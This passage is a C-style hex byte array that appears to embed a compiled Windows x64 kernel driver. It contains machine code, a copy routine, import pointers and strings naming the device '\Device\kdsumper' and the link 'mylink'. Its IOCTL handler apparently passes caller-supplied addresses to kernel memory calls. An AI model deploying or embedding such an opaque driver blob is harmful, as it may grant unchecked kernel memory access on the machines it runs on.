0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x28, 0x48, 0x8D, 0x0D, 0x1D, 0x20, 0x00, 0x00, 0xFF, 0x15, 0x4F, 0x10, 0x00,
0x00, 0x48, 0x8B, 0x0D, 0xF8, 0x1F, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0x48, 0xFF, 0x25, 0x35, 0x10, 0x00, 0x00, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x83, 0x62, 0x30, 0x00,
0x48, 0x8B, 0xCA, 0x48, 0x83, 0x62, 0x38, 0x00, 0x33, 0xD2, 0xFF, 0x15, 0xF8, 0x0F, 0x00, 0x00, 0x33, 0xC0, 0x48, 0x83,
0xC4, 0x28, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48,
0x8B, 0x82, 0xB8, 0x00, 0x00, 0x00, 0x33, 0xFF, 0x48, 0x8B, 0xF2, 0x81, 0x78, 0x18, 0x07, 0x20, 0x86, 0x80, 0x48, 0x8B,
0x58, 0x20, 0x0F, 0x85, 0x80, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x0B, 0x83, 0xE9, 0x19, 0x74, 0x63, 0x83, 0xE9, 0x01, 0x74,
0x4E, 0x83, 0xE9, 0x0B, 0x74, 0x39, 0x83, 0xE9, 0x0E, 0x74, 0x21, 0x83, 0xF9, 0x01, 0x74, 0x07, 0xBF, 0x01, 0x00, 0x00,
0xC0, 0xEB, 0x5D, 0x4C, 0x8B, 0x43, 0x20, 0x48, 0x8B, 0x53, 0x18, 0x48, 0x8B, 0x4B, 0x10, 0xE8, 0x74, 0x00, 0x00, 0x00,
0x8B, 0xF8, 0xEB, 0x48, 0x4C, 0x8B, 0x43, 0x20, 0x48, 0x8B, 0x53, 0x10, 0x48, 0x8B, 0x4B, 0x18, 0xE8, 0x7B, 0x02, 0x00,
0x00, 0xEB, 0x35, 0x48, 0x8B, 0x4B, 0x18, 0xFF, 0x15, 0x9F, 0x0F, 0x00, 0x00, 0x48, 0x89, 0x43, 0x10, 0xEB, 0x25, 0x48,
0x8B, 0x53, 0x28, 0x48, 0x8B, 0x4B, 0x18, 0xFF, 0x15, 0x4B, 0x0F, 0x00, 0x00, 0xEB, 0x15, 0x48, 0x8B, 0x4B, 0x20, 0x45,
0x33, 0xC0, 0x48, 0x8B, 0x53, 0x28, 0xFF, 0x15, 0x30, 0x0F, 0x00, 0x00, 0x48, 0x89, 0x43, 0x18, 0x48, 0x83, 0x66, 0x38,
0x00, 0x33, 0xD2, 0x48, 0x8B, 0xCE, 0x89, 0x7E, 0x30, 0xFF, 0x15, 0x31, 0x0F, 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x30,
0x8B, 0xC7, 0x48, 0x8B, 0x74, 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48,
0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x78, 0x18, 0x41, 0x56, 0x48, 0x83, 0xEC, 0x30, 0x49, 0x8B, 0xF0,
0x4C, 0x8B, 0xF2, 0x48, 0x83, 0x60, 0xE8, 0x00, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x8B, 0xD6, 0xFF, 0x15, 0xE6, 0x0E,
0x00, 0x00, 0x48, 0x8B, 0xD8, 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x85, 0xC0, 0x75, 0x0A, 0xB8, 0x9A, 0x00, 0x00, 0xC0,
0xE9, 0x89, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x91, 0x0E, 0x00, 0x00, 0x90,
0xC7, 0x44, 0x24, 0x28, 0x10, 0x00, 0x00, 0x00, 0x83, 0x64, 0x24, 0x20, 0x00, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x33,
0xD2, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x82, 0x0E, 0x00, 0x00, 0x48, 0x8B, 0xF8, 0x48, 0x85, 0xC0, 0x75, 0x14, 0x48, 0x8B,
0xCB, 0xFF, 0x15, 0x69, 0x0E, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xB8, 0x0E, 0x00, 0x00, 0xEB, 0xAD, 0x4C, 0x8B,
0xC6, 0x49, 0x8B, 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xD3, 0x48, 0x8B, 0xCF, 0xFF, 0x15,
0x54, 0x0E, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x3B, 0x0E, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x8A, 0x0E,
0x00, 0x00, 0x33, 0xC0, 0xEB, 0x10, 0x48, 0x8B, 0x4C, 0x24, 0x58, 0xFF, 0x15, 0x7B, 0x0E, 0x00, 0x00, 0xB8, 0x22, 0x00,
0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x8B, 0x74, 0x24, 0x48, 0x48, 0x8B, 0x7C, 0x24, 0x50, 0x48, 0x83, 0xC4,
0x30, 0x41, 0x5E, 0xC3, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x40, 0x48, 0x8D, 0x05, 0xEB, 0xFD, 0xFF, 0xFF, 0x48, 0x8B, 0xD9,
0x48, 0x89, 0x41, 0x68, 0x48, 0x8D, 0x15, 0xCD, 0x03, 0x00, 0x00, 0x48, 0x8D, 0x05, 0x06, 0xFE, 0xFF, 0xFF, 0x48, 0x89,
0x41, 0x70, 0x48, 0x89, 0x81, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x05, 0x14, 0xFE, 0xFF, 0xFF, 0x48, 0x89, 0x81, 0xE0,
0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0xCE, 0x1D, 0x00, 0x00, 0xFF, 0x15, 0xB0, 0x0D, 0x00, 0x00, 0x48, 0x8D, 0x05, 0xB9,
0x1D, 0x00, 0x00, 0x41, 0xB9, 0x22, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, 0x4C, 0x8D, 0x05, 0xAF, 0x1D, 0x00,
0x00, 0xC6, 0x44, 0x24, 0x28, 0x00, 0x33, 0xD2, 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xCA, 0x0D,
0x00, 0x00, 0x85, 0xC0, 0x78, 0x3D, 0x48, 0x8D, 0x15, 0x97, 0x03, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x98, 0x1D, 0x00, 0x00,
0xFF, 0x15, 0x6A, 0x0D, 0x00, 0x00, 0x48, 0x8D, 0x15, 0x7B, 0x1D, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x84, 0x1D, 0x00, 0x00,
0xFF, 0x15, 0xA6, 0x0D, 0x00, 0x00, 0x8B, 0xD8, 0x85, 0xC0, 0x79, 0x0F, 0x48, 0x8B, 0x0D, 0x59, 0x1D, 0x00, 0x00, 0xFF,
0x15, 0x9B, 0x0D, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x83, 0xC4, 0x40, 0x5B, 0xC3, 0xFF, 0x25, 0xAD, 0x0D, 0x00, 0x00, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xC2, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE0, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66,
0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x25, 0x7A, 0x0D, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC1, 0x49,
0x83, 0xF8, 0x08, 0x72, 0x37, 0x49, 0x83, 0xF8, 0x10, 0x77, 0x11, 0x4C, 0x8B, 0x1A, 0x4A, 0x8B, 0x54, 0x02, 0xF8, 0x4C,
0x89, 0x19, 0x4A, 0x89, 0x54, 0x01, 0xF8, 0xC3, 0x49, 0x83, 0xF8, 0x20, 0x77, 0x5A, 0x0F, 0x10, 0x02, 0x42, 0x0F, 0x10,
0x4C, 0x02, 0xF0, 0x0F, 0x11, 0x01, 0x42, 0x0F, 0x11, 0x4C, 0x01, 0xF0, 0xC3, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00,
0x4D, 0x85, 0xC0, 0x74, 0x15, 0x48, 0x2B, 0xD1, 0x72, 0x16, 0x44, 0x8A, 0x1C, 0x11, 0x48, 0xFF, 0xC1, 0x49, 0xFF, 0xC8,
0x44, 0x88, 0x59, 0xFF, 0x75, 0xF0, 0xC3, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x49, 0x03, 0xC8, 0x44, 0x8A, 0x5C, 0x11, 0xFF,
0x48, 0xFF, 0xC9, 0x49, 0xFF, 0xC8, 0x44, 0x88, 0x19, 0x75, 0xF0, 0xC3, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00,
0x00, 0x00, 0x00, 0x00, 0x4E, 0x8D, 0x1C, 0x02, 0x48, 0x2B, 0xD1, 0x73, 0x09, 0x4C, 0x3B, 0xD9, 0x0F, 0x87, 0x6E, 0x01,
0x00, 0x00, 0x0F, 0x10, 0x04, 0x11, 0x48, 0x83, 0xC1, 0x10, 0xF6, 0xC1, 0x0F, 0x74, 0x12, 0x48, 0x83, 0xE1, 0xF0, 0x0F,
0x10, 0x0C, 0x11, 0x0F, 0x11, 0x00, 0x0F, 0x28, 0xC1, 0x48, 0x83, 0xC1, 0x10, 0x4C, 0x03, 0xC0, 0x4C, 0x2B, 0xC1, 0x4D,
0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x06, 0x74, 0x6F, 0x49, 0x81, 0xF9, 0x00, 0x10, 0x00, 0x00, 0x0F, 0x87, 0xB3, 0x00, 0x00,
0x00, 0x49, 0x83, 0xE0, 0x3F, 0xEB, 0x2D, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00,
0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66,
0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x10, 0x0C, 0x11, 0x0F, 0x10, 0x54, 0x11,
0x10, 0x0F, 0x10, 0x5C, 0x11, 0x20, 0x0F, 0x10, 0x64, 0x11, 0x30, 0x0F, 0x29, 0x41, 0xF0, 0x48, 0x83, 0xC1, 0x40, 0x49,
0xFF, 0xC9, 0x0F, 0x29, 0x49, 0xC0, 0x0F, 0x29, 0x51, 0xD0, 0x0F, 0x29, 0x59, 0xE0, 0x0F, 0x28, 0xC4, 0x75, 0xD1, 0x4D,
0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x04, 0x74, 0x19, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x29, 0x41, 0xF0,
0x0F, 0x10, 0x04, 0x11, 0x48, 0x83, 0xC1, 0x10, 0x49, 0xFF, 0xC9, 0x75, 0xEF, 0x49, 0x83, 0xE0, 0x0F, 0x74, 0x0E, 0x4E,
0x8D, 0x5C, 0x01, 0xF0, 0x41, 0x0F, 0x10, 0x0C, 0x13, 0x41, 0x0F, 0x11, 0x0B, 0x0F, 0x29, 0x41, 0xF0, 0xC3, 0x66, 0x66,
0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00,
0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x06, 0x49, 0x83, 0xE0, 0x3F, 0x0F, 0x18, 0x44, 0x11, 0x40, 0xEB, 0x2E, 0x66, 0x66,
0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,
0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00,
0x00, 0x00, 0x00, 0x90, 0x0F, 0x10, 0x0C, 0x11, 0x0F, 0x10, 0x54, 0x11, 0x10, 0x0F, 0x10, 0x5C, 0x11, 0x20, 0x0F, 0x10,
0x64, 0x11, 0x30, 0x0F, 0x2B, 0x41, 0xF0, 0x48, 0x83, 0xC1, 0x40, 0x0F, 0x18, 0x44, 0x11, 0x40, 0x49, 0xFF, 0xC9, 0x0F,
0x2B, 0x49, 0xC0, 0x0F, 0x2B, 0x51, 0xD0, 0x0F, 0x2B, 0x59, 0xE0, 0x0F, 0x28, 0xC4, 0x75, 0xCC, 0x0F, 0xAE, 0xF8, 0xE9,
0x33, 0xFF, 0xFF, 0xFF, 0x0F, 0x1F, 0x40, 0x00, 0x49, 0x03, 0xC8, 0x0F, 0x10, 0x44, 0x11, 0xF0, 0x48, 0x83, 0xE9, 0x10,
0x49, 0x83, 0xE8, 0x10, 0xF6, 0xC1, 0x0F, 0x74, 0x18, 0x4C, 0x8B, 0xD9, 0x48, 0x83, 0xE1, 0xF0, 0x0F, 0x10, 0x0C, 0x11,
0x41, 0x0F, 0x11, 0x03, 0x0F, 0x28, 0xC1, 0x4C, 0x8B, 0xC1, 0x4C, 0x2B, 0xC0, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x06,
0x74, 0x39, 0x49, 0x83, 0xE0, 0x3F, 0xEB, 0x04, 0x0F, 0x1F, 0x40, 0x00, 0x0F, 0x10, 0x4C, 0x11, 0xF0, 0x0F, 0x10, 0x54,
0x11, 0xE0, 0x0F, 0x10, 0x5C, 0x11, 0xD0, 0x0F, 0x10, 0x64, 0x11, 0xC0, 0x0F, 0x29, 0x01, 0x48, 0x83, 0xE9, 0x40, 0x49,
0xFF, 0xC9, 0x0F, 0x29, 0x49, 0x30, 0x0F, 0x29, 0x51, 0x20, 0x0F, 0x29, 0x59, 0x10, 0x0F, 0x28, 0xC4, 0x75, 0xD1, 0x4D,
0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x04, 0x74, 0x19, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x29, 0x01, 0x0F,
0x10, 0x44, 0x11, 0xF0, 0x48, 0x83, 0xE9, 0x10, 0x49, 0xFF, 0xC9, 0x75, 0xEF, 0x49, 0x83, 0xE0, 0x0F, 0x74, 0x0F, 0x4C,
0x8B, 0xD9, 0x4D, 0x2B, 0xD8, 0x41, 0x0F, 0x10, 0x0C, 0x13, 0x41, 0x0F, 0x11, 0x0B, 0x0F, 0x29, 0x01, 0xC3, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x5C, 0x00,
0x6B, 0x00, 0x64, 0x00, 0x73, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, 0x6F, 0x00, 0x73, 0x00,
0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x6D, 0x00, 0x79, 0x00,
0x6C, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x28, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0x51, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x6E, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x94, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB6, 0x51, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xCC, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDE, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xF6, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x52, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x2C, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD0, 0x12, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0xF0, 0x12, 0x00, 0x40,
0x01, 0x00, 0x00, 0x00, 0xD0, 0x12, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x10, 0x13, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00,
0x10, 0x13, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x30, 0x10, 0x00, 0x00, 0x50, 0x10, 0x00, 0x00, 0xD0, 0x12, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x20, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00,
0x90, 0x20, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0xB8, 0x20, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x98, 0x20, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0xA0, 0x20, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0xA8, 0x20, 0x00, 0x40,
0x01, 0x00, 0x00, 0x00, 0xB0, 0x20, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
